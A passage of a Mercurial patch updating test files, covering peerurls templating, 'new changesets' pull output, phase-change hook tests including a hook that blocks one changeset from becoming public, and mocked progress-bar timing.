+  > -T '{get(peerurls, "dupe") % "url: {url}\npushurl: {pushurl}\n"}'
   url: $TESTTMP/b#tip (glob)
   pushurl: https://example.com/dupe
-  $ hg log -rnull -T '{get(get(peerpaths, "dupe"), "pushurl")}\n'
+  $ hg log -rnull -T '{peerurls.dupe.pushurl}\n'
   https://example.com/dupe
 
- (so there's weird behavior)
+ (in JSON, it's a dict of urls)
 
-  $ hg log -rnull -T '{get(peerpaths, "dupe")|count}\n'
-  2
-  $ hg log -rnull -T '{get(peerpaths, "dupe")|stringify|count}\n'
-  [0-9]{2,} (re)
-
- (in JSON, it's a dict of dicts)
-
-  $ hg log -rnull -T '{peerpaths|json}\n' | sed 's|\\\\|/|g'
-  {"dupe": {"pushurl": "https://example.com/dupe", "url": "$TESTTMP/b#tip"}, "expand": {"url": "$TESTTMP/a/$SOMETHING/bar"}}
+  $ hg log -rnull -T '{peerurls|json}\n' | sed 's|\\\\|/|g'
+  {"dupe": "$TESTTMP/b#tip", "expand": "$TESTTMP/a/$SOMETHING/bar"}
 
 password should be masked in plain output, but not in machine-readable/template
 output:
@@ -135,7 +126,7 @@
     "url": "http://foo:insecure@example.com/"
    }
   ]
-  $ hg log -rnull -T '{get(peerpaths, "insecure")}\n'
+  $ hg log -rnull -T '{get(peerurls, "insecure")}\n'
   http://foo:insecure@example.com/
 
 zeroconf wraps ui.configitems(), which shouldn't crash at least:
diff --git a/tests/test-phases-exchange.t b/tests/test-phases-exchange.t
--- a/tests/test-phases-exchange.t
+++ b/tests/test-phases-exchange.t
@@ -80,6 +80,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files (+1 heads)
+  new changesets 54acac6f23ab:b555f63b6063
   test-debug-phase: new rev 3:  x -> 0
   test-debug-phase: new rev 4:  x -> 0
   (run 'hg heads' to see heads, 'hg merge' to merge)
@@ -148,6 +149,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets f54f1bb90ff3
   test-debug-phase: new rev 4:  x -> 0
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
@@ -202,6 +204,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 5 changes to 5 files (+1 heads)
+  new changesets 054250a37db4:b555f63b6063
   test-debug-phase: new rev 0:  x -> 1
   test-debug-phase: new rev 1:  x -> 1
   test-debug-phase: new rev 2:  x -> 1
@@ -235,6 +238,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files
+  new changesets 054250a37db4:54acac6f23ab
   test-debug-phase: new rev 0:  x -> 1
   test-debug-phase: new rev 1:  x -> 1
   test-debug-phase: new rev 2:  x -> 1
@@ -256,6 +260,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets f54f1bb90ff3
   test-debug-phase: new rev 3:  x -> 1
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hgph
@@ -279,6 +284,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets b555f63b6063
   test-debug-phase: move rev 0: 1 -> 0
   test-debug-phase: move rev 1: 1 -> 0
   test-debug-phase: move rev 2: 1 -> 0
@@ -326,6 +332,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets d6bcb4f74035:145e75495359
   test-debug-phase: move rev 0: 1 -> 0
   test-debug-phase: move rev 1: 1 -> 0
   test-debug-phase: move rev 3: 1 -> 0
@@ -371,6 +378,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets d6bcb4f74035:145e75495359
   test-debug-phase: new rev 5:  x -> 1
   test-debug-phase: new rev 6:  x -> 1
   (run 'hg update' to get a working copy)
@@ -930,6 +938,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 435b5d83910c
   test-debug-phase: new rev 10:  x -> 1
   (run 'hg update' to get a working copy)
   $ hgph -R ../mu
@@ -1059,6 +1068,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 5237fb433fc8
   test-debug-phase: new rev 13:  x -> 1
   (run 'hg update' to get a working copy)
   $ hgph
@@ -1120,6 +1130,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets e9f537e46dea:b740e3e5c05d
   test-debug-phase: new rev 5:  x -> 0
   test-debug-phase: new rev 6:  x -> 0
   (run 'hg update' to get a working copy)
diff --git a/tests/test-phases.t b/tests/test-phases.t
--- a/tests/test-phases.t
+++ b/tests/test-phases.t
@@ -2,6 +2,8 @@
   $ cat >> $HGRCPATH << EOF
   > [extensions]
   > phasereport=$TESTDIR/testlib/ext-phase-report.py
+  > [hooks]
+  > txnclose-phase.test = echo "test-hook-close-phase: \$HG_NODE:  \$HG_OLDPHASE -> \$HG_PHASE"
   > EOF
 
   $ hglog() { hg log --template "{rev} {phaseidx} {desc}\n" $*; }
@@ -26,6 +28,7 @@
 
   $ mkcommit A
   test-debug-phase: new rev 0:  x -> 1
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> draft
 
 New commit are draft by default
 
@@ -36,6 +39,7 @@
 
   $ mkcommit B
   test-debug-phase: new rev 1:  x -> 1
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> draft
 
   $ hglog
   1 1 B
@@ -46,6 +50,8 @@
   $ hg phase --public .
   test-debug-phase: move rev 0: 1 -> 0
   test-debug-phase: move rev 1: 1 -> 0
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:  draft -> public
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:  draft -> public
   $ hg phase
   1: public
   $ hglog
@@ -54,8 +60,10 @@
 
   $ mkcommit C
   test-debug-phase: new rev 2:  x -> 1
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> draft
   $ mkcommit D
   test-debug-phase: new rev 3:  x -> 1
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> draft
 
   $ hglog
   3 1 D
@@ -67,6 +75,7 @@
 
   $ mkcommit E --config phases.new-commit='secret'
   test-debug-phase: new rev 4:  x -> 2
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:   -> secret
   $ hglog
   4 2 E
   3 1 D
@@ -78,6 +87,7 @@
 
   $ mkcommit H
   test-debug-phase: new rev 5:  x -> 2
+  test-hook-close-phase: a030c6be5127abc010fcbff1851536552e6951a8:   -> secret
   $ hglog
   5 2 H
   4 2 E
@@ -92,6 +102,7 @@
   $ mkcommit "B'"
   test-debug-phase: new rev 6:  x -> 1
   created new head
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> draft
   $ hglog
   6 1 B'
   5 2 H
@@ -108,6 +119,7 @@
   4: secret
   $ hg ci -m "merge B' and E"
   test-debug-phase: new rev 7:  x -> 2
+  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:   -> secret
 
   $ hglog
   7 2 merge B' and E
@@ -155,6 +167,11 @@
   test-debug-phase: new rev 2:  x -> 1
   test-debug-phase: new rev 3:  x -> 1
   test-debug-phase: new rev 4:  x -> 1
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> public
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> public
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> draft
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> draft
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> draft
   $ hglog
   7 2 merge B' and E
   6 1 B'
@@ -181,6 +198,7 @@
   $ hg up -q 4 # B'
   $ mkcommit Z --config phases.new-commit=secret
   test-debug-phase: new rev 5:  x -> 2
+  test-hook-close-phase: 2713879da13d6eea1ff22b442a5a87cb31a7ce6a:   -> secret
   $ hg phase .
   5: secret
 
@@ -192,6 +210,7 @@
   $ mkcommit I
   test-debug-phase: new rev 8:  x -> 1
   created new head
+  test-hook-close-phase: 6d6770faffce199f1fddd1cf87f6f026138cf061:   -> draft
   $ hg push ../push-dest
   pushing to ../push-dest
   searching for changes
@@ -200,6 +219,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
   test-debug-phase: new rev 6:  x -> 1
+  test-hook-close-phase: 6d6770faffce199f1fddd1cf87f6f026138cf061:   -> draft
 
 :note: The "(+1 heads)" is wrong as we do not had any visible head
 
@@ -247,11 +267,17 @@
   adding manifests
   adding file changes
   added 5 changesets with 5 changes to 5 files (+1 heads)
+  new changesets 4a2df7238c3b:cf9fe039dfd6
   test-debug-phase: new rev 0:  x -> 0
   test-debug-phase: new rev 1:  x -> 0
   test-debug-phase: new rev 2:  x -> 0
   test-debug-phase: new rev 3:  x -> 0
   test-debug-phase: new rev 4:  x -> 0
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> public
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> public
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> public
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> public
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> public
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hglog
   4 0 B'
@@ -277,6 +303,11 @@
   test-debug-phase: new rev 2:  x -> 0
   test-debug-phase: new rev 3:  x -> 0
   test-debug-phase: new rev 4:  x -> 0
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> public
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> public
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> public
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> public
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> public
   $ hglog -R clone-dest
   4 0 B'
   3 0 D
@@ -476,6 +507,7 @@
 
   $ hg phase --public -r 2
   test-debug-phase: move rev 2: 1 -> 0
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:  draft -> public
   $ hg log -G --template "{rev} {phase} {desc}\n"
   @    7 secret merge B' and E
   |\
@@ -500,6 +532,7 @@
 
   $ hg phase --draft --force 2
   test-debug-phase: move rev 2: 0 -> 1
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:  public -> draft
   $ hg log -G --template "{rev} {phase} {desc}\n"
   @    7 secret merge B' and E
   |\
@@ -523,6 +556,8 @@
   $ hg phase --draft --force 1::4
   test-debug-phase: move rev 1: 0 -> 1
   test-debug-phase: move rev 4: 2 -> 1
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:  public -> draft
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:  secret -> draft
   $ hg log -G --template "{rev} {phase} {desc}\n"
   @    7 secret merge B' and E
   |\
@@ -549,8 +584,15 @@
   test-debug-phase: move rev 4: 1 -> 0
   test-debug-phase: move rev 6: 1 -> 0
   test-debug-phase: move rev 7: 2 -> 0
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:  draft -> public
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:  draft -> public
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:  draft -> public
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:  draft -> public
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:  draft -> public
+  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:  secret -> public
   $ hg phase --draft '5 or 7'
   test-debug-phase: move rev 5: 2 -> 1
+  test-hook-close-phase: a030c6be5127abc010fcbff1851536552e6951a8:  secret -> draft
   cannot move 1 changesets to a higher phase, use --force
   phase changed for 1 changesets
   [1]
@@ -588,7 +630,7 @@
 (enabling evolution)
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers
+  > evolution.createmarkers=True
   > EOF
 
 (making a changeset hidden; H in that case)
@@ -602,6 +644,7 @@
   adding manifests
   adding file changes
   added 7 changesets with 6 changes to 6 files
+  new changesets 4a2df7238c3b:17a481b3bccb
   test-debug-phase: new rev 0:  x -> 0
   test-debug-phase: new rev 1:  x -> 0
   test-debug-phase: new rev 2:  x -> 0
@@ -609,6 +652,13 @@
   test-debug-phase: new rev 4:  x -> 0
   test-debug-phase: new rev 5:  x -> 0
   test-debug-phase: new rev 6:  x -> 0
+  test-hook-close-phase: 4a2df7238c3b48766b5e22fafbb8a2f506ec8256:   -> public
+  test-hook-close-phase: 27547f69f25460a52fff66ad004e58da7ad3fb56:   -> public
+  test-hook-close-phase: f838bfaca5c7226600ebcfd84f3c3c13a28d3757:   -> public
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:   -> public
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:   -> public
+  test-hook-close-phase: cf9fe039dfd67e829edf6522a45de057b5c86519:   -> public
+  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:   -> public
   updating to branch default
   6 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd clonewithobs
@@ -682,3 +732,94 @@
   rollback completed
   abort: pretxnclose hook exited with status 1
   [255]
+
+Check that pretxnclose-phase hook can control phase movement
+
+  $ hg phase --force b3325c91a4d9 --secret
+  test-debug-phase: move rev 3: 0 -> 2
+  test-debug-phase: move rev 4: 0 -> 2
+  test-debug-phase: move rev 5: 1 -> 2
+  test-debug-phase: move rev 7: 0 -> 2
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:  public -> secret
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:  public -> secret
+  test-hook-close-phase: a030c6be5127abc010fcbff1851536552e6951a8:  draft -> secret
+  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:  public -> secret
+  $ hg log -G -T phases
+  @    changeset:   7:17a481b3bccb
+  |\   tag:         tip
+  | |  phase:       secret
+  | |  parent:      6:cf9fe039dfd6
+  | |  parent:      4:a603bfb5a83e
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     merge B' and E
+  | |
+  | o  changeset:   6:cf9fe039dfd6
+  | |  phase:       public
+  | |  parent:      1:27547f69f254
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     B'
+  | |
+  o |  changeset:   4:a603bfb5a83e
+  | |  phase:       secret
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     E
+  | |
+  o |  changeset:   3:b3325c91a4d9
+  | |  phase:       secret
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     D
+  | |
+  o |  changeset:   2:f838bfaca5c7
+  |/   phase:       public
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    summary:     C
+  |
+  o  changeset:   1:27547f69f254
+  |  phase:       public
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     B
+  |
+  o  changeset:   0:4a2df7238c3b
+     phase:       public
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     A
+  
+
+Install a hook that prevent b3325c91a4d9 to become public
+
+  $ cat >> .hg/hgrc << EOF
+  > [hooks]
+  > pretxnclose-phase.nopublish_D = (echo \$HG_NODE| grep -v b3325c91a4d9>/dev/null) || [ 'public' != \$HG_PHASE ]
+  > EOF
+
+Try various actions. only the draft move should succeed
+
+  $ hg phase --public b3325c91a4d9
+  transaction abort!
+  rollback completed
+  abort: pretxnclose-phase.nopublish_D hook exited with status 1
+  [255]
+  $ hg phase --public a603bfb5a83e
+  transaction abort!
+  rollback completed
+  abort: pretxnclose-phase.nopublish_D hook exited with status 1
+  [255]
+  $ hg phase --draft 17a481b3bccb
+  test-debug-phase: move rev 3: 2 -> 1
+  test-debug-phase: move rev 4: 2 -> 1
+  test-debug-phase: move rev 7: 2 -> 1
+  test-hook-close-phase: b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e:  secret -> draft
+  test-hook-close-phase: a603bfb5a83e312131cebcd05353c217d4d21dde:  secret -> draft
+  test-hook-close-phase: 17a481b3bccb796c0521ae97903d81c52bfee4af:  secret -> draft
+  $ hg phase --public 17a481b3bccb
+  transaction abort!
+  rollback completed
+  abort: pretxnclose-phase.nopublish_D hook exited with status 1
+  [255]
diff --git a/tests/test-profile.t b/tests/test-profile.t
--- a/tests/test-profile.t
+++ b/tests/test-profile.t
@@ -111,6 +111,7 @@
 
   $ cd ..
 
+#if no-chg
 profiler extension could be loaded before other extensions
 
   $ cat > fooprof.py <<EOF
@@ -158,3 +159,4 @@
   unrecognized profiler 'unknown' - ignored
 
   $ cd ..
+#endif
diff --git a/tests/test-progress.t b/tests/test-progress.t
--- a/tests/test-progress.t
+++ b/tests/test-progress.t
@@ -1,7 +1,8 @@
 
   $ cat > loop.py <<EOF
+  > from __future__ import absolute_import
+  > import time
   > from mercurial import commands, registrar
-  > import time
   > 
   > cmdtable = {}
   > command = registrar.command(cmdtable)
@@ -184,25 +185,9 @@
 
 #if no-chg
 
-  $ cat > mocktime.py <<EOF
-  > import os
-  > import time
-  > 
-  > class mocktime(object):
-  >     def __init__(self, increment):
-  >         self.time = 0
-  >         self.increment = increment
-  >     def __call__(self):
-  >         self.time += self.increment
-  >         return self.time
-  > 
-  > def uisetup(ui):
-  >     time.time = mocktime(int(os.environ.get('MOCKTIME', '11')))
-  > EOF
-
   $ cp $HGRCPATH.orig $HGRCPATH
   $ echo "[extensions]" >> $HGRCPATH
-  $ echo "mocktime=`pwd`/mocktime.py" >> $HGRCPATH
+  $ echo "mocktime=$TESTDIR/mocktime.py" >> $HGRCPATH
   $ echo "progress=" >> $HGRCPATH
   $ echo "loop=`pwd`/loop.py" >> $HGRCPATH
   $ echo "[progress]" >> $HGRCPATH
@@ -210,7 +195,7 @@
   $ echo "delay=25" >> $HGRCPATH
   $ echo "width=60" >> $HGRCPATH
 
-  $ hg -y loop 8
+  $ MOCKTIME=11 hg -y loop 8
   \r (no-eol) (esc)
   loop [=========>                                ] 2/8 1m07s\r (no-eol) (esc)
   loop [===============>                            ] 3/8 56s\r (no-eol) (esc)
@@ -245,8 +230,33 @@
   loop [=============================>           ] 3/4 23w02d\r (no-eol) (esc)
                                                               \r (no-eol) (esc)
 
+Non-linear progress:
+
+  $ MOCKTIME='20 20 20 20 20 20 20 20 20 20 500 500 500 500 500 20 20 20 20 20' hg -y loop 20
+  \r (no-eol) (esc)
+  loop [=>                                      ]  1/20 6m21s\r (no-eol) (esc)
+  loop [===>                                    ]  2/20 6m01s\r (no-eol) (esc)
+  loop [=====>                                  ]  3/20 5m41s\r (no-eol) (esc)
+  loop [=======>                                ]  4/20 5m21s\r (no-eol) (esc)
+  loop [=========>                              ]  5/20 5m01s\r (no-eol) (esc)
+  loop [===========>                            ]  6/20 4m41s\r (no-eol) (esc)
+  loop [=============>                          ]  7/20 4m21s\r (no-eol) (esc)
+  loop [===============>                        ]  8/20 4m01s\r (no-eol) (esc)
+  loop [================>                      ]  9/20 25m40s\r (no-eol) (esc)
+  loop [===================>                    ] 10/20 1h06m\r (no-eol) (esc)
+  loop [=====================>                  ] 11/20 1h13m\r (no-eol) (esc)
+  loop [=======================>                ] 12/20 1h07m\r (no-eol) (esc)
+  loop [========================>              ] 13/20 58m19s\r (no-eol) (esc)
+  loop [===========================>            ] 14/20 7m09s\r (no-eol) (esc)
+  loop [=============================>          ] 15/20 3m38s\r (no-eol) (esc)
+  loop [===============================>        ] 16/20 2m15s\r (no-eol) (esc)
+  loop [=================================>      ] 17/20 1m27s\r (no-eol) (esc)
+  loop [====================================>     ] 18/20 52s\r (no-eol) (esc)
+  loop [======================================>   ] 19/20 25s\r (no-eol) (esc)
+                                                              \r (no-eol) (esc)
+
 Time estimates should not fail when there's no end point:
-  $ hg -y loop -- -4
+  $ MOCKTIME=11 hg -y loop -- -4
   \r (no-eol) (esc)
   loop [ <=>                                              ] 2\r (no-eol) (esc)
   loop [  <=>                                             ] 3\r (no-eol) (esc)
diff --git a/tests/test-pull-branch.t b/tests/test-pull-branch.t
--- a/tests/test-pull-branch.t
+++ b/tests/test-pull-branch.t
@@ -19,6 +19,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 495a0ec48aaf:50e089d141b7
   (run 'hg update' to get a working copy)
   $ hg up branchA
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -47,6 +48,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files (+1 heads)
+  new changesets 9f878dea0b96:5be59ce5067b
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
 Develop both branches:
@@ -72,6 +74,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 7c8fe7e20c32:453e93fa00a5
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
 Add a head on other branch:
@@ -102,6 +105,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files (+1 heads)
+  new changesets da3a8a0161c6:b61cab8fe4e8
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
   $ cd ../t
@@ -132,6 +136,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 1 files (+1 heads)
+  new changesets 0c4d148ae29e:ecfc3f4a6fd9
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   updated to "d740e1a584e7: a5.2"
   1 other heads for branch "branchA"
@@ -164,6 +169,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 7d8ffa4c0b22
   (run 'hg heads' to see heads)
 
 Make changes on default and branchC on tt
@@ -176,6 +182,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 2b94b54b6b5f
   (run 'hg heads' to see heads)
   $ hg up -C default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -211,6 +218,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files (+2 heads)
+  new changesets eed40c14b407:e634733b0309
   (run 'hg heads .' to see heads, 'hg merge' to merge)
 
   $ cd ..
diff --git a/tests/test-pull-http.t b/tests/test-pull-http.t
--- a/tests/test-pull-http.t
+++ b/tests/test-pull-http.t
@@ -23,6 +23,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets cb9a9f314b8b:ba677d0156c1
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cat test3/.hg/hgrc
diff --git a/tests/test-pull-permission.t b/tests/test-pull-permission.t
--- a/tests/test-pull-permission.t
+++ b/tests/test-pull-permission.t
@@ -16,6 +16,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 97310831fa1a
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-pull-pull-corruption.t b/tests/test-pull-pull-corruption.t
--- a/tests/test-pull-pull-corruption.t
+++ b/tests/test-pull-pull-corruption.t
@@ -18,6 +18,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 495a0ec48aaf
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd source2
@@ -49,6 +50,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets ca3c05af513e
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ cat pull.out
   pulling from ../source1
@@ -57,6 +59,7 @@
   adding manifests
   adding file changes
   added 10 changesets with 10 changes to 1 files
+  new changesets 495a0ec48aaf:1e7b6c812ca8
   (run 'hg update' to get a working copy)
 
 see the result
diff --git a/tests/test-pull-r.t b/tests/test-pull-r.t
--- a/tests/test-pull-r.t
+++ b/tests/test-pull-r.t
@@ -49,6 +49,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 1 changes to 1 files
+  new changesets 8c900227dd5d:00cfe9073916
   (run 'hg update' to get a working copy)
   $ hg heads -q --closed
   4:00cfe9073916
@@ -121,6 +122,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets effea6de0384
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg log -G
   @  changeset:   2:effea6de0384
diff --git a/tests/test-pull-update.t b/tests/test-pull-update.t
--- a/tests/test-pull-update.t
+++ b/tests/test-pull-update.t
@@ -19,13 +19,14 @@
 Should respect config to disable dirty update
   $ hg co -qC 0
   $ echo 2 > foo
-  $ hg --config experimental.updatecheck=abort pull -u ../tt
+  $ hg --config commands.update.check=abort pull -u ../tt
   pulling from ../tt
   searching for changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 107cefe13e42
   abort: uncommitted changes
   [255]
   $ hg --config extensions.strip= strip --no-backup tip
@@ -40,6 +41,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 107cefe13e42
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
   updated to "800c91d5bfc1: m"
   1 other heads for branch "default"
@@ -55,6 +57,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 800c91d5bfc1
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
   updated to "107cefe13e42: m"
   1 other heads for branch "default"
@@ -76,6 +79,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (-1 heads)
+  new changesets 483b76ad4309
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
 Similarity between "hg update" and "hg pull -u" in handling bookmark
@@ -103,6 +107,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   adding remote bookmark active-after-pull
+  new changesets f815b3da6163
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark active-after-pull)
 
@@ -131,6 +136,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   adding remote bookmark active-after-pull
+  new changesets f815b3da6163
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark active-after-pull)
 
@@ -168,6 +174,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 1 changes to 1 files
+  new changesets f815b3da6163:b5e4babfaaa7
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (leaving bookmark active-before-pull)
 
@@ -194,6 +201,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 1 changes to 1 files
+  new changesets f815b3da6163:b5e4babfaaa7
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (leaving bookmark active-before-pull)
 
@@ -220,6 +228,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 1 changes to 1 files
+  new changesets f815b3da6163:b5e4babfaaa7
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (leaving bookmark active-before-pull)
 
diff --git a/tests/test-pull.t b/tests/test-pull.t
--- a/tests/test-pull.t
+++ b/tests/test-pull.t
@@ -25,6 +25,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 340e38bdcde4
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -76,6 +77,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 340e38bdcde4
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
 Test 'file:' uri handling:
diff --git a/tests/test-push-checkheads-partial-C1.t b/tests/test-push-checkheads-partial-C1.t
--- a/tests/test-push-checkheads-partial-C1.t
+++ b/tests/test-push-checkheads-partial-C1.t
@@ -53,6 +53,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-partial-C2.t b/tests/test-push-checkheads-partial-C2.t
--- a/tests/test-push-checkheads-partial-C2.t
+++ b/tests/test-push-checkheads-partial-C2.t
@@ -53,6 +53,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-partial-C3.t b/tests/test-push-checkheads-partial-C3.t
--- a/tests/test-push-checkheads-partial-C3.t
+++ b/tests/test-push-checkheads-partial-C3.t
@@ -53,6 +53,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
diff --git a/tests/test-push-checkheads-partial-C4.t b/tests/test-push-checkheads-partial-C4.t
--- a/tests/test-push-checkheads-partial-C4.t
+++ b/tests/test-push-checkheads-partial-C4.t
@@ -53,6 +53,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d73caddc5533
   (run 'hg update' to get a working copy)
   $ hg up 0
